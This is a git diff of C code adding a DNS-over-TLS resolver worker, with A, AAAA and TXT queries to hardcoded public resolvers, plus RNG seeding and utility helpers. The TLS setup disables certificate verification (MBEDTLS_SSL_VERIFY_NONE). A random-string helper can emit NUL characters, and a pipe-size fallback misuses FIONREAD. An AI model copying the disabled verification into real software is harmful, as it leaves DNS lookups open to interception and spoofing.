+ fprintf(stderr, "* [resolv_wkr] Protocol error: received %zu bytes long msg. Dropping connection!\n", msg_len);
+#endif
+ // try to get qid
+ if (ctx->read_cnt_len > pos + 4) {
+ const uint16_t qid = ((uint_fast16_t)ctx->read_buf[pos + 2] << 8) | (uint_fast16_t)ctx->read_buf[pos + 3];
+ const prne_imap_tuple_t *tpl = prne_imap_lookup(&ctx->qid_map, qid);
+
+ if (tpl->val != NULL) {
+ query_entry_t *qent = (query_entry_t*)tpl->val;
+ qent->fut.qr = PRNE_RESOLV_QR_IMPL;
+ resolv_disown_qent(qent);
+ }
+ prne_imap_erase(&ctx->qid_map, qid);
+ }
+ resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
+ return;
+ }
+ if (pos + 1 + msg_len >= ctx->read_cnt_len) {
+ break;
+ }
+
+ proc |= resolv_proc_dns_msg(ctx, ctx->read_buf + pos + 2, msg_len, &err_flag);
+ if (err_flag) {
+ resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
+ return;
+ }
+ pos += 2 + msg_len;
+ }
+ if (pos > 0) {
+ memmove(ctx->read_buf, ctx->read_buf + pos, ctx->read_cnt_len - pos);
+ ctx->read_cnt_len -= pos;
+ }
+ }
+ }
+
+ if (ctx->qlist.size > 0 || ctx->write_cnt_len > 0) {
+ if (!resolv_ensure_conn(ctx)) {
+ return;
+ }
+
+ if ((ctx->sck_pfd_slot[0]->pfd.revents & POLLOUT) && ctx->write_cnt_len > 0) {
+ ret = mbedtls_ssl_write(&ctx->ssl.ctx, ctx->write_buf, ctx->write_cnt_len);
+ if (ret <= 0) {
+ // we don't renegotiate with terrorists.
+ resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
+ return;
+ }
+
+ memmove(ctx->write_buf, ctx->write_buf + (size_t)ret, ctx->write_cnt_len - (size_t)ret);
+ ctx->write_cnt_len -= (size_t)ret;
+ }
+ if (ctx->write_cnt_len == 0) {
+ proc |= resolv_send_dns_msgs(ctx);
+ }
+
+ if (ctx->write_cnt_len > 0 || (0 < ctx->qlist.size && ctx->qid_map.size < RESOLV_PIPELINE_SIZE)) {
+ ctx->sck_pfd_slot[0]->pfd.events = POLLIN | POLLOUT;
+ }
+ else {
+ ctx->sck_pfd_slot[0]->pfd.events = POLLIN;
+ }
+ }
+
+ if (proc) {
+ if (ctx->qlist.size == 0 && ctx->qid_map.size == 0 &&
+ ctx->read_cnt_len == 0 && ctx->write_cnt_len == 0) {
+ ctx->sckop_to_slot->dur = RESOLV_SCK_IDLE_TIMEOUT;
+ }
+ else {
+ ctx->sckop_to_slot->dur = RESOLV_SCK_OP_TIMEOUT;
+ }
+ }
+}
+
+static bool resolv_proc_close (prne_resolv_wkr_ctx_t ctx) {
+ assert(ctx->ctx_state == RESOLV_CTX_STATE_CLOSING);
+
+ if (ctx->sck_pfd_slot[0]->pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) {
+ resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
+ return false;
+ }
+ if (ctx->sck_pfd_slot[0]->pfd.revents) {
+ switch (mbedtls_ssl_close_notify(&ctx->ssl.ctx)) {
+ case MBEDTLS_ERR_SSL_WANT_READ:
+ ctx->sck_pfd_slot[0]->pfd.events = POLLIN;
+ return false;
+ case MBEDTLS_ERR_SSL_WANT_WRITE:
+ ctx->sck_pfd_slot[0]->pfd.events = POLLOUT;
+ return false;
+ case 0:
+ resolv_close_sck(ctx, NULL, false);
+ return true;
+ default:
+ resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
+ return false;
+ }
+ }
+
+ return false;
+}
+
+static void resolv_proc_expired (prne_resolv_wkr_ctx_t ctx) {
+ prne_llist_entry_t *cur;
+ query_entry_t *qent;
+
+ cur = ctx->qlist.head;
+ while (cur != NULL) {
+ qent = (query_entry_t*)cur->element;
+
+ if (qent->to_slot != NULL && qent->to_slot->reached) {
+ qent->fut.qr = PRNE_RESOLV_QR_TIMEOUT;
+ cur = prne_llist_erase(&ctx->qlist, cur);
+ resolv_disown_qent(qent);
+ }
+ else {
+ cur = cur->next;
+ }
+ }
+}
+
+static void resolv_wkr_free (void *p) {
+ DECL_CTX_PTR(p);
+
+ prne_free_wkr_timeout_slot(ctx->sckop_to_slot);
+ prne_free_wkr_timeout_slot(ctx->err_to_slot);
+ prne_free_wkr_pollfd_slot(ctx->evt_pfd_slot);
+ prne_free_wkr_pollfd_slot(ctx->sck_pfd_slot[0]);
+ prne_free_wkr_pollfd_slot(ctx->sck_pfd_slot[1]);
+ prne_free(ctx->dnssrv_4.arr);
+ prne_free(ctx->dnssrv_6.arr);
+ prne_free_llist(&ctx->qlist);
+ prne_free_imap(&ctx->qid_map);
+ mbedtls_ssl_config_free(&ctx->ssl.conf);
+ mbedtls_ssl_free(&ctx->ssl.ctx);
+
+ prne_close(ctx->evtfd[0]);
+ prne_close(ctx->evtfd[1]);
+
+ prne_free(ctx);
+}
+
+static void resolv_wkr_fin (void *p) {
+ DECL_CTX_PTR(p);
+
+ assert(ctx->wkr_state == RESOLV_WKR_STATE_OK);
+ ctx->wkr_state = RESOLV_WKR_STATE_FIN_CALLED;
+}
+
+static void resolv_wkr_work (void *p, const prne_wkr_tick_info_t *tick_info) {
+ DECL_CTX_PTR(p);
+
+ assert(ctx->wkr_state != RESOLV_WKR_STATE_FINALISED);
+ assert((ctx->evt_pfd_slot->pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) == 0);
+
+ if (ctx->evt_pfd_slot->pfd.revents & POLLIN) {
+ uint8_t rubbish;
+
+ if (read(ctx->evtfd[0], &rubbish, 1) < 0) {
+ prne_die_not_nonblock_err();
+ }
+ }
+
+ resolv_proc_expired(ctx);
+
+ if (ctx->err_to_slot->active) {
+ if (ctx->err_to_slot->reached) {
+ ctx->err_to_slot->active = false;
+ }
+ else {
+ return;
+ }
+ }
+
+ if (ctx->sckop_to_slot->active && ctx->sckop_to_slot->reached) {
+ if (ctx->ctx_state == RESOLV_CTX_STATE_READY) {
+ ctx->ctx_state = RESOLV_CTX_STATE_CLOSING;
+ ctx->sckop_to_slot->dur = RESOLV_SCK_CLOSE_TIMEOUT;
+ ctx->sck_pfd_slot[0]->pfd.fd = ctx->act_dns_fd;
+ ctx->sck_pfd_slot[0]->pfd.events = POLLIN | POLLOUT;
+ return;
+ }
+ else {
+ resolv_close_sck(ctx, NULL, true);
+ }
+ }
+ if (ctx->ctx_state == RESOLV_CTX_STATE_CLOSING && !resolv_proc_close(ctx)) {
+ return;
+ }
+
+ resolv_proc_q(ctx);
+ if (ctx->wkr_state == RESOLV_WKR_STATE_FIN_CALLED && ctx->qid_map.size == 0 && ctx->qlist.size == 0) {
+ if (ctx->ctx_state == RESOLV_CTX_STATE_READY) {
+ ctx->ctx_state = RESOLV_CTX_STATE_CLOSING;
+ ctx->sckop_to_slot->dur = RESOLV_SCK_CLOSE_TIMEOUT;
+ ctx->sck_pfd_slot[0]->pfd.fd = ctx->act_dns_fd;
+ ctx->sck_pfd_slot[0]->pfd.events = POLLIN | POLLOUT;
+ }
+ else {
+ ctx->wkr_state = RESOLV_WKR_STATE_FINALISED;
+ resolv_close_sck(ctx, NULL, false);
+ ctx->evt_pfd_slot->pfd.fd = -1;
+ ctx->err_to_slot->active = false;
+ }
+ }
+}
+
+prne_resolv_wkr_ctx_t prne_alloc_resolv_worker (prne_worker_t *w, prne_wkr_sched_req_t *wsr, mbedtls_ctr_drbg_context *ctr_drbg) {
+ prne_resolv_wkr_ctx_t ctx = NULL;
+
+ if (wsr == NULL || ctr_drbg == NULL) {
+ errno = EINVAL;
+ return NULL;
+ }
+
+ ctx = (prne_resolv_wkr_ctx_t)prne_malloc(sizeof(struct prne_resolv_wkr_ctx), 1);
+ if (ctx == NULL) {
+ return NULL;
+ }
+ ctx->dnss_fd[0] = ctx->dnss_fd[1] = -1;
+ ctx->evtfd[0] = ctx->evtfd[1] = -1;
+ ctx->read_cnt_len = 0;
+ ctx->write_cnt_len = 0;
+ ctx->wsr = wsr;
+ ctx->sckop_to_slot = prne_alloc_wkr_timeout_slot(wsr);
+ ctx->err_to_slot = prne_alloc_wkr_timeout_slot(wsr);
+ ctx->evt_pfd_slot = prne_alloc_wkr_pollfd_slot(wsr);
+ ctx->sck_pfd_slot[0] = prne_alloc_wkr_pollfd_slot(wsr);
+ ctx->sck_pfd_slot[1] = prne_alloc_wkr_pollfd_slot(wsr);
+ ctx->act_dns_fd = -1;
+ ctx->ctx_state = RESOLV_CTX_STATE_NONE;
+ ctx->ssl.ctr_drbg = ctr_drbg;
+ prne_init_llist(&ctx->qlist);
+ prne_init_imap(&ctx->qid_map);
+ mbedtls_ssl_config_init(&ctx->ssl.conf);
+ mbedtls_ssl_init(&ctx->ssl.ctx);
+ if (ctx->sckop_to_slot == NULL ||
+ ctx->err_to_slot == NULL ||
+ ctx->evt_pfd_slot == NULL ||
+ ctx->sck_pfd_slot[0] == NULL ||
+ ctx->sck_pfd_slot[1] == NULL) {
+ goto ERR;
+ }
+
+ ctx->dnssrv_4.arr = NULL;
+ ctx->dnssrv_6.arr = NULL;
+ ctx->dnssrv_4.cnt = 8;
+ ctx->dnssrv_6.cnt = 8;
+ ctx->dnssrv_4.ptr = resolv_next_pool_ptr(ctx, ctx->dnssrv_4.cnt);
+ ctx->dnssrv_6.ptr = resolv_next_pool_ptr(ctx, ctx->dnssrv_6.cnt);
+ ctx->dnssrv_4.arr = prne_malloc(sizeof(prne_net_endpoint_t), ctx->dnssrv_4.cnt);
+ ctx->dnssrv_6.arr = prne_malloc(sizeof(prne_net_endpoint_t), ctx->dnssrv_6.cnt);
+ if (ctx->dnssrv_4.arr == NULL || ctx->dnssrv_6.arr == NULL) {
+ goto ERR;
+ }
+ // IPv4 servers
+ // Google
+ prne_true_or_die(prne_net_ep_set_ipv4("8.8.8.8", 853, ctx->dnssrv_4.arr + 0));
+ prne_true_or_die(prne_net_ep_set_ipv4("8.8.4.4", 853, ctx->dnssrv_4.arr + 1));
+ // Cloudflare
+ prne_true_or_die(prne_net_ep_set_ipv4("1.1.1.1", 853, ctx->dnssrv_4.arr + 2));
+ prne_true_or_die(prne_net_ep_set_ipv4("1.0.0.1", 853, ctx->dnssrv_4.arr + 3));
+ // Quad9
+ prne_true_or_die(prne_net_ep_set_ipv4("9.9.9.10", 853, ctx->dnssrv_4.arr + 4));
+ prne_true_or_die(prne_net_ep_set_ipv4("149.112.112.10", 853, ctx->dnssrv_4.arr + 5));
+ // CleanBrowsing
+ prne_true_or_die(prne_net_ep_set_ipv4("185.228.168.9", 853, ctx->dnssrv_4.arr + 6));
+ prne_true_or_die(prne_net_ep_set_ipv4("185.228.169.9", 853, ctx->dnssrv_4.arr + 7));
+ // IPv6 servers
+ // Google
+ prne_true_or_die(prne_net_ep_set_ipv6("2001:4860:4860::8888", 853, ctx->dnssrv_6.arr + 0));
+ prne_true_or_die(prne_net_ep_set_ipv6("2001:4860:4860::8844", 853, ctx->dnssrv_6.arr + 1));
+ // Cloudflare
+ prne_true_or_die(prne_net_ep_set_ipv6("2606:4700:4700::1111", 853, ctx->dnssrv_6.arr + 2));
+ prne_true_or_die(prne_net_ep_set_ipv6("2606:4700:4700::1001", 853, ctx->dnssrv_6.arr + 3));
+ // Quad9
+ prne_true_or_die(prne_net_ep_set_ipv6("2620:fe::fe", 853, ctx->dnssrv_6.arr + 4));
+ prne_true_or_die(prne_net_ep_set_ipv6("2620:fe::9", 853, ctx->dnssrv_6.arr + 5));
+ // CleanBrowsing
+ prne_true_or_die(prne_net_ep_set_ipv6("2a0d:2a00:1::2", 853, ctx->dnssrv_6.arr + 6));
+ prne_true_or_die(prne_net_ep_set_ipv6("2a0d:2a00:2::2", 853, ctx->dnssrv_6.arr + 7));
+
+ OK_OR_ERR(pipe(ctx->evtfd));
+ OK_OR_ERR(resolv_set_cmn_fd_opt(ctx->evtfd[0]));
+ OK_OR_ERR(resolv_set_cmn_fd_opt(ctx->evtfd[1]));
+ prne_set_pipe_size(ctx->evtfd[0], 1);
+ ctx->evt_pfd_slot->pfd.fd = ctx->evtfd[0];
+ ctx->evt_pfd_slot->pfd.events = POLLIN;
+
+ if (mbedtls_ssl_config_defaults(&ctx->ssl.conf, MBEDTLS_SSL_IS_CLIENT, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) != 0) {
+ goto ERR;
+ }
+ mbedtls_ssl_conf_rng(&ctx->ssl.conf, mbedtls_ctr_drbg_random, ctx->ssl.ctr_drbg);
+ mbedtls_ssl_conf_authmode(&ctx->ssl.conf, MBEDTLS_SSL_VERIFY_NONE);
+
+ w->ctx = ctx;
+ w->free = resolv_wkr_free;
+ w->fin = resolv_wkr_fin;
+ w->work = resolv_wkr_work;
+ w->has_finalised = resolv_wkr_has_finalised;
+ return ctx;
+ERR:
+ if (ctx != NULL) {
+ prne_free_wkr_timeout_slot(ctx->sckop_to_slot);
+ prne_free_wkr_timeout_slot(ctx->err_to_slot);
+ prne_free_wkr_pollfd_slot(ctx->evt_pfd_slot);
+ prne_free_wkr_pollfd_slot(ctx->sck_pfd_slot[0]);
+ prne_free_wkr_pollfd_slot(ctx->sck_pfd_slot[1]);
+ prne_free(ctx->dnssrv_4.arr);
+ prne_free(ctx->dnssrv_6.arr);
+ prne_free_llist(&ctx->qlist);
+ prne_free_imap(&ctx->qid_map);
+ mbedtls_ssl_config_free(&ctx->ssl.conf);
+ mbedtls_ssl_free(&ctx->ssl.ctx);
+
+ prne_close(ctx->evtfd[0]);
+ prne_close(ctx->evtfd[1]);
+
+ prne_free(ctx);
+ }
+
+ return NULL;
+}
+
+bool prne_resolv_prm_gethostbyname (prne_resolv_wkr_ctx_t wkr, const char *name, const prne_ipv_t ipv, prne_resolv_prm_t *out, const struct timespec *timeout) {
+ bool ret;
+ query_entry_t *q_ent;
+ prne_resolv_query_type_t qt;
+
+ if (wkr->wkr_state != RESOLV_WKR_STATE_OK) {
+ errno = EPIPE;
+ return false;
+ }
+
+ switch (ipv) {
+ case PRNE_IPV_4: qt = PRNE_RESOLV_QT_A; break;
+ case PRNE_IPV_6: qt = PRNE_RESOLV_QT_AAAA; break;
+ default:
+ errno = EINVAL;
+ return false;
+ }
+
+ ret = resolv_qq(wkr, name, out, timeout, &q_ent);
+ if (ret) {
+ q_ent->ipv = ipv;
+ q_ent->type = qt;
+ }
+
+ return ret;
+}
+
+bool prne_resolv_prm_gettxtrec (prne_resolv_wkr_ctx_t wkr, const char *name, prne_resolv_prm_t *out, const struct timespec *timeout) {
+ bool ret;
+ query_entry_t *q_ent;
+
+ if (wkr->wkr_state != RESOLV_WKR_STATE_OK) {
+ errno = EPIPE;
+ return false;
+ }
+
+ ret = resolv_qq(wkr, name, out, timeout, &q_ent);
+ if (ret) {
+ q_ent->type = PRNE_RESOLV_QT_TXT;
+ }
+
+ return ret;
+}
+
+void prne_resolv_free_prm (prne_resolv_prm_t *prm) {
+ if (prm->ctx != NULL) {
+ query_entry_t *ent = (query_entry_t*)prm->ctx;
+
+ if (ent->wkr != NULL) {
+ prne_llist_erase(&ent->wkr->qlist, ent->qlist_ent);
+
+ if (prne_imap_lookup(&ent->wkr->qid_map, ent->qid) != NULL) {
+ prne_imap_insert(&ent->wkr->qid_map, ent->qid, 0);
+ }
+ }
+ resolv_free_q_ent(ent);
+ }
+
+ prm->ctx = NULL;
+ prm->fut = NULL;
+ prm->evtfd = -1;
+}
+
+void prne_resolv_init_prm (prne_resolv_prm_t *prm) {
+ prm->ctx = NULL;
+ prm->fut = NULL;
+ prm->evtfd = -1;
+}
+
+void prne_init_resolv_fut (prne_resolv_fut_t *fut) {
+ fut->rr_cnt = 0;
+ fut->rr = NULL;
+ fut->qr = PRNE_RESOLV_QR_NONE;
+ fut->err = 0;
+ fut->status = 0;
+}
+
+void prne_free_resolv_fut (prne_resolv_fut_t *fut) {
+ size_t i;
+
+ for (i = 0; i < fut->rr_cnt; i += 1) {
+ prne_free_resolv_rr(fut->rr + i);
+ }
+ prne_free(fut->rr);
+ fut->rr = NULL;
+ fut->rr_cnt = 0;
+}
+
+void prne_init_resolv_rr (prne_resolv_rr_t *rr) {
+ rr->name = NULL;
+ rr->rr_class = 0;
+ rr->rr_type = 0;
+ rr->rr_ttl = 0;
+ rr->rd_data = NULL;
+ rr->rd_len = 0;
+}
+
+void prne_free_resolv_rr (prne_resolv_rr_t *rr) {
+ prne_free(rr->name);
+ prne_free(rr->rd_data);
+ rr->rd_data = NULL;
+ rr->rd_len = 0;
+}
+
+const char *prne_resolv_qr_tostr (const prne_resolv_qr_t qr) {
+ switch (qr) {
+ case PRNE_RESOLV_QR_OK: return "OK";
+ case PRNE_RESOLV_QR_ERR: return "ERR";
+ case PRNE_RESOLV_QR_PRO_ERR: return "PRO_ERR";
+ case PRNE_RESOLV_QR_FIN: return "FIN";
+ case PRNE_RESOLV_QR_IMPL: return "IMPL";
+ case PRNE_RESOLV_QR_TIMEOUT: return "TIMEOUT";
+ case PRNE_RESOLV_QR_STATUS: return "STATUS";
+ }
+ return NULL;
+}
+
+const char *prne_resolv_rcode_tostr (const prne_resolv_rcode_t rc) {
+ switch (rc) {
+ case PRNE_RESOLV_RCODE_NOERROR: return "NOERROR";
+ case PRNE_RESOLV_RCODE_FORMERR: return "FORMERR";
+ case PRNE_RESOLV_RCODE_SERVFAIL: return "SERVFAIL";
+ case PRNE_RESOLV_RCODE_NXDOMAIN: return "NXDOMAIN";
+ case PRNE_RESOLV_RCODE_NOTIMP: return "NOTIMP";
+ case PRNE_RESOLV_RCODE_REFUSED: return "REFUSED";
+ }
+ return NULL;
+}
+
+const char *prne_resolv_rrtype_tostr (const uint16_t rrt) {
+ switch (rrt) {
+ case PRNE_RESOLV_RTYPE_A: return "A";
+ case PRNE_RESOLV_RTYPE_NS: return "NS";
+ case PRNE_RESOLV_RTYPE_CNAME: return "CNAME";
+ case PRNE_RESOLV_RTYPE_SOA: return "SOA";
+ case PRNE_RESOLV_RTYPE_PTR: return "PTR";
+ case PRNE_RESOLV_RTYPE_MX: return "MX";
+ case PRNE_RESOLV_RTYPE_TXT: return "TXT";
+ case PRNE_RESOLV_RTYPE_AAAA: return "AAAA";
+ }
+ return NULL;
+}
diff --git a/src/resolv_worker.h b/src/resolv_worker.h
new file mode 100644
index 0000000..c76152f
--- /dev/null
+++ b/src/resolv_worker.h
@@ -0,0 +1,95 @@
+#pragma once
+#include "protocol.h"
+#include "worker.h"
+
+#include <mbedtls/ctr_drbg.h>
+
+
+struct prne_resolv_wkr_ctx;
+typedef struct prne_resolv_wkr_ctx* prne_resolv_wkr_ctx_t;
+
+struct prne_resolv_prm;
+struct prne_resolv_fut;
+struct prne_resolv_rr;
+typedef struct prne_resolv_prm prne_resolv_prm_t;
+typedef struct prne_resolv_fut prne_resolv_fut_t;
+typedef struct prne_resolv_rr prne_resolv_rr_t;
+typedef uint16_t prne_resolv_rcode_t;
+
+typedef enum {
+ PRNE_RESOLV_QR_NONE = -1,
+
+ PRNE_RESOLV_QR_OK,
+ PRNE_RESOLV_QR_ERR,
+ PRNE_RESOLV_QR_PRO_ERR,
+ PRNE_RESOLV_QR_FIN,
+ PRNE_RESOLV_QR_IMPL,
+ PRNE_RESOLV_QR_TIMEOUT,
+ PRNE_RESOLV_QR_STATUS,
+
+ NB_PRNE_RESOLV
+} prne_resolv_qr_t;
+
+typedef enum {
+ PRNE_RESOLV_QT_NONE = -1,
+
+ PRNE_RESOLV_QT_A,
+ PRNE_RESOLV_QT_AAAA,
+ PRNE_RESOLV_QT_TXT,
+
+ NB_PRNE_RESOLV_QT
+} prne_resolv_query_type_t;
+
+struct prne_resolv_prm {
+ void *ctx;
+ prne_resolv_fut_t *fut;
+ int evtfd;
+};
+
+struct prne_resolv_fut {
+ size_t rr_cnt;
+ prne_resolv_rr_t *rr;
+ int err;
+ prne_resolv_qr_t qr;
+ prne_resolv_rcode_t status;
+};
+
+struct prne_resolv_rr {
+ char *name;
+ uint16_t rr_class, rr_type;
+ uint32_t rr_ttl;
+ uint8_t *rd_data;
+ uint16_t rd_len;
+};
+
+// honor bind-utils' choice of words
+#define PRNE_RESOLV_RCODE_NOERROR 0
+#define PRNE_RESOLV_RCODE_FORMERR 1
+#define PRNE_RESOLV_RCODE_SERVFAIL 2
+#define PRNE_RESOLV_RCODE_NXDOMAIN 3
+#define PRNE_RESOLV_RCODE_NOTIMP 4
+#define PRNE_RESOLV_RCODE_REFUSED 5
+
+#define PRNE_RESOLV_RTYPE_A 1
+#define PRNE_RESOLV_RTYPE_NS 2
+#define PRNE_RESOLV_RTYPE_CNAME 5
+#define PRNE_RESOLV_RTYPE_SOA 6
+#define PRNE_RESOLV_RTYPE_PTR 12
+#define PRNE_RESOLV_RTYPE_MX 15
+#define PRNE_RESOLV_RTYPE_TXT 16
+#define PRNE_RESOLV_RTYPE_AAAA 28
+
+
+prne_resolv_wkr_ctx_t prne_alloc_resolv_worker (prne_worker_t *w, prne_wkr_sched_req_t *wsr, mbedtls_ctr_drbg_context *ctr_drbg);
+bool prne_resolv_prm_gethostbyname (prne_resolv_wkr_ctx_t wkr, const char *name, const prne_ipv_t ipv, prne_resolv_prm_t *out, const struct timespec *timeout);
+bool prne_resolv_prm_gettxtrec (prne_resolv_wkr_ctx_t wkr, const char *name, prne_resolv_prm_t *out, const struct timespec *timeout);
+
+void prne_resolv_init_prm (prne_resolv_prm_t *prm);
+void prne_resolv_free_prm (prne_resolv_prm_t *prm);
+void prne_init_resolv_fut (prne_resolv_fut_t *fut);
+void prne_free_resolv_fut (prne_resolv_fut_t *fut);
+void prne_init_resolv_rr (prne_resolv_rr_t *rr);
+void prne_free_resolv_rr (prne_resolv_rr_t *rr);
+const char *prne_resolv_qr_tostr (const prne_resolv_qr_t qr);
+const char *prne_resolv_rcode_tostr (const prne_resolv_rcode_t rc);
+const char *prne_resolv_rrtype_tostr (const uint16_t rrt);
diff --git a/src/rnd.c b/src/rnd.c
index 597aa60..b44b07e 100644
--- a/src/rnd.c
+++ b/src/rnd.c
@@ -2,6 +2,10 @@
#include "util_rt.h"
#include <stdlib.h>
+#include <time.h>
+
+#include <unistd.h>
+#include <sys/random.h>
#define N ((size_t)624)
@@ -92,3 +96,26 @@ uint32_t prne_rnd_gen_int (prne_rnd_engine_t *engine) {
double prne_rnd_gen_double (prne_rnd_engine_t *engine) {
return (double)prne_rnd_gen_int(engine) * 2.3283064370807974e-10;
}
+
+prne_rnd_engine_t *prne_mk_rnd_engine (void) {
+ uint32_t seed = 0;
+ prne_rnd_engnie_alloc_result_t ret;
+
+ getrandom(&seed, sizeof(uint32_t), 0);
+
+ if (seed == 0) {
+ // fall back to seeding with what's available.
+ seed =
+ (uint32_t)(time(NULL) % 0xFFFFFFFF) ^
+ (uint32_t)(getpid() % 0xFFFFFFFF) ^
+ (uint32_t)(getppid() % 0xFFFFFFFF) ^
+ (uint32_t)(clock() % 0xFFFFFFFF);
+ }
+
+ ret = prne_alloc_rnd_engine(seed == 0 ? NULL : &seed);
+ if (ret.result != PRNE_RND_ENGINE_ALLOC_OK) {
+ return NULL;
+ }
+
+ return ret.engine;
+}
diff --git a/src/rnd.h b/src/rnd.h
index 170a902..a496e9e 100644
--- a/src/rnd.h
+++ b/src/rnd.h
@@ -25,3 +25,5 @@ prne_rnd_engnie_alloc_result_t prne_alloc_rnd_engine (const uint32_t *seed);
void prne_free_rnd_engine (prne_rnd_engine_t *engine);
uint32_t prne_rnd_gen_int (prne_rnd_engine_t *engine);
double prne_rnd_gen_double (prne_rnd_engine_t *engine);
+
+prne_rnd_engine_t *prne_mk_rnd_engine (void);
diff --git a/src/util_rt.c b/src/util_rt.c
index 6a4d139..e0ebafc 100644
--- a/src/util_rt.c
+++ b/src/util_rt.c
@@ -5,17 +5,59 @@
#include <ctype.h>
#include <errno.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <sys/ioctl.h>
+#include <sys/socket.h>
#include <mbedtls/base64.h>
-void prne_succeed_or_die (const int ret) {
+void prne_ok_or_die (const int ret) {
if (ret < 0) {
abort();
}
}
-void prne_empty_func () {}
+void prne_true_or_die (const bool ret) {
+ if (!ret) {
+ abort();
+ }
+}
+
+void prne_empty_func (void) {}
+
+bool prne_is_nonblock_errno (void) {
+ switch (errno) {
+#if EAGAIN == EWOULDBLOCK
+ case EAGAIN:
+#else
+ case EAGAIN:
+ case EWOULDBLOCK:
+#endif
+ case EINPROGRESS:
+ return true;
+ }
+ return false;
+}
+
+void prne_die_not_nonblock_err (void) {
+ if (!prne_is_nonblock_errno()) {
+ abort();
+ }
+}
+
+void prne_close (const int fd) {
+ if (fd >= 0) {
+ close(fd);
+ }
+}
+
+void prne_shutdown (const int fd, const int how) {
+ if (fd >= 0) {
+ shutdown(fd, how);
+ }
+}
void *prne_malloc (const size_t se, const size_t cnt) {
if (SIZE_MAX / se < cnt) {
@@ -41,14 +83,14 @@ void prne_free (void *ptr) {
free(ptr);
}
-void prne_rnd_anum_str (prne_rnd_engine_t *rnd_engine, char *str, const size_t len) {
+void prne_rnd_anum_str (mbedtls_ctr_drbg_context *rnd, char *str, const size_t len) {
static const char SET[] = "qwertyuiopasdfghjklzxcvbnm0123456789";
size_t i = 0;
uint32_t n;
if (len >= 4) {
for (; i < len / 4 * 4; i += 4) {
- n = prne_rnd_gen_int(rnd_engine);
+ mbedtls_ctr_drbg_random(rnd, (uint8_t*)&n, sizeof(n));
str[i + 0] = SET[((uint8_t*)&n)[0] % sizeof(SET)];
str[i + 1] = SET[((uint8_t*)&n)[1] % sizeof(SET)];
str[i + 2] = SET[((uint8_t*)&n)[2] % sizeof(SET)];
@@ -56,13 +98,28 @@ void prne_rnd_anum_str (prne_rnd_engine_t *rnd_engine, char *str, const size_t l
}
}
if (i < len) {
- n = prne_rnd_gen_int(rnd_engine);
+ mbedtls_ctr_drbg_random(rnd, (uint8_t*)&n, sizeof(n));
for (; i < len; i += 1) {
str[i] = SET[((uint8_t*)&n)[i % 4] % sizeof(SET)];
}
}
}
+char *prne_strnchr (const char *p, const char c, const size_t n) {
+ size_t i;
+
+ for (i = 0; i < n; i += 1) {
+ if (p[i] == c) {
+ return (char*)p + i;
+ }
+ else if (p[i] == 0) {
+ return NULL;
+ }
+ }
+
+ return NULL;
+}
+
size_t prne_str_shift_spaces (char *str, const size_t len) {
size_t i, ret = len;
@@ -85,34 +142,42 @@ size_t prne_str_shift_spaces (char *str, const size_t len) {
}
-struct timespec prne_sub_timespec (const struct timespec *a, const struct timespec *b) {
+struct timespec prne_sub_timespec (const struct timespec a, const struct timespec b) {
struct timespec ret;
- if (a->tv_nsec < b->tv_nsec) {
- ret.tv_sec = a->tv_sec - 1 - b->tv_sec;
- ret.tv_nsec = 1000000000 + a->tv_nsec - b->tv_nsec;
+ if (a.tv_nsec < b.tv_nsec) {
+ ret.tv_sec = a.tv_sec - 1 - b.tv_sec;
+ ret.tv_nsec = 1000000000 + a.tv_nsec - b.tv_nsec;
}
else {
- ret.tv_sec = a->tv_sec - b->tv_sec;
- ret.tv_nsec = a->tv_nsec - b->tv_nsec;
+ ret.tv_sec = a.tv_sec - b.tv_sec;
+ ret.tv_nsec = a.tv_nsec - b.tv_nsec;
}
return ret;
}
-double prne_real_timespec (const struct timespec *ts) {
- return (double)ts->tv_sec + (double)ts->tv_nsec / 1000000000.0;
+double prne_real_timespec (const struct timespec ts) {
+ return (double)ts.tv_sec + (double)ts.tv_nsec / 1000000000.0;
}
-int prne_cmp_timespec (const struct timespec *a, const struct timespec *b) {
- if (a->tv_sec < b->tv_sec) {
+int prne_cmp_timespec (const struct timespec a, const struct timespec b) {
+ if (a.tv_sec < b.tv_sec) {
return -1;
}
- else if (a->tv_sec > b->tv_sec) {
+ else if (a.tv_sec > b.tv_sec) {
return 1;
}
- return a->tv_nsec < b->tv_nsec ? -1 : a->tv_nsec > b->tv_nsec ? 1 : 0;
+ return a.tv_nsec < b.tv_nsec ? -1 : a.tv_nsec > b.tv_nsec ? 1 : 0;
+}
+
+struct timespec prne_min_timespec (const struct timespec a, const struct timespec b) {
+ return prne_cmp_timespec(a, b) < 0 ? a : b;
+}
+
+struct timespec prne_max_timespec (const struct timespec a, const struct timespec b) {
+ return prne_cmp_timespec(a, b) > 0 ? a : b;
}
char *prne_enc_base64_mem (const uint8_t *data, const size_t size) {
@@ -161,3 +226,13 @@ bool prne_dec_base64_mem (const char *str, const size_t str_len, uint8_t **data,
*size = ret_size;
return true;
}
+
+bool prne_set_pipe_size (const int fd, const int size) {
+ return
+#if defined(F_SETPIPE_SZ)
+ fcntl(fd, F_SETPIPE_SZ, size) == 0
+#elif defined(FIONREAD)
+ ioctl(fd, FIONREAD, &size) == 0
+#endif
+ ;
+}
diff --git a/src/util_rt.h b/src/util_rt.h
index b10f93d..4d03dc6 100644
--- a/src/util_rt.h
+++ b/src/util_rt.h
@@ -1,9 +1,11 @@
#pragma once
-#include "rnd.h"
-
#include <stddef.h>
+#include <stdbool.h>
+#include <stdint.h>
#include <time.h>
+#include <mbedtls/ctr_drbg.h>
+
#if 0
bool prne_strendsw (const char *str, const char *w) {
@@ -17,20 +19,30 @@ bool prne_strendsw (const char *str, const char *w) {
}
#endif
-void prne_succeed_or_die (const int ret);
-void prne_empty_func ();
+void prne_ok_or_die (const int ret);
+void prne_true_or_die (const bool ret);
+void prne_empty_func (void);
+bool prne_is_nonblock_errno (void);
+void prne_die_not_nonblock_err (void);
+void prne_close (const int fd);
+void prne_shutdown (const int fd, const int how);
void *prne_malloc (const size_t se, const size_t cnt);
void *prne_realloc (void *ptr, const size_t se, const size_t cnt);
void *prne_calloc (const size_t se, const size_t cnt);
